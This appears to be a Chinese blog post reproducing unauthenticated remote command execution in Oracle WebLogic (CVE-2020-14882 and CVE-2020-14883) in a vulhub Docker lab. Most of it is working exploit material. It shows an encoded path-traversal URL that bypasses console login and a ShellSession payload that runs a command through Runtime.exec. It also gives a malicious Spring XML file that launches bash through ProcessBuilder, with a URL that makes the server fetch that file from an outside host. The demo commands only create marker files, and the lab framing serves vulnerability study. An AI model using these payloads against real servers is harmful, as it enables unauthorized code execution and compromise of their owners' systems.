Live2D

Weblogic 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

Weblogic 未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

环境搭建:

vulhub+docker

复现过程:

一、cve-2020-14882漏洞:

漏洞简述:

未经身份验证的未授权访问后台(低权限)

poc:

http://ip:7001/console/css/%252e%252e%252fconsole.portal

 

由于权限较低,无法上传文件,可以利用CVE-2020-14883漏洞进行组合攻击

二、cve-2020-14883:

这个漏洞一共有两种利用链:

利用com.tangosol.coherence.mvel2.sh.ShellSession具有版本限制weblogic高于12.2.1 

利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 需要可以出网触发xml

利用姿势一:

条件:weblogic版本>12.2.1

palyload:

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/success1%27);%22)

 

 

备注:这种利用方法只能在Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession。这个利用链,不出网

利用姿势二:

条件:所有weblogic版本可用,将恶意xml放在vps中,需要可以出网

将exp放在vps上

 

 

rce.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

poc:

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

 

备注:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 这个链 利用在任意版本中,但是需要可出网

 

 

参考链接:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2020-14882

https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

posted @ 2022-01-05 15:37  小直789  阅读(395)  评论(0)    收藏  举报
Live2D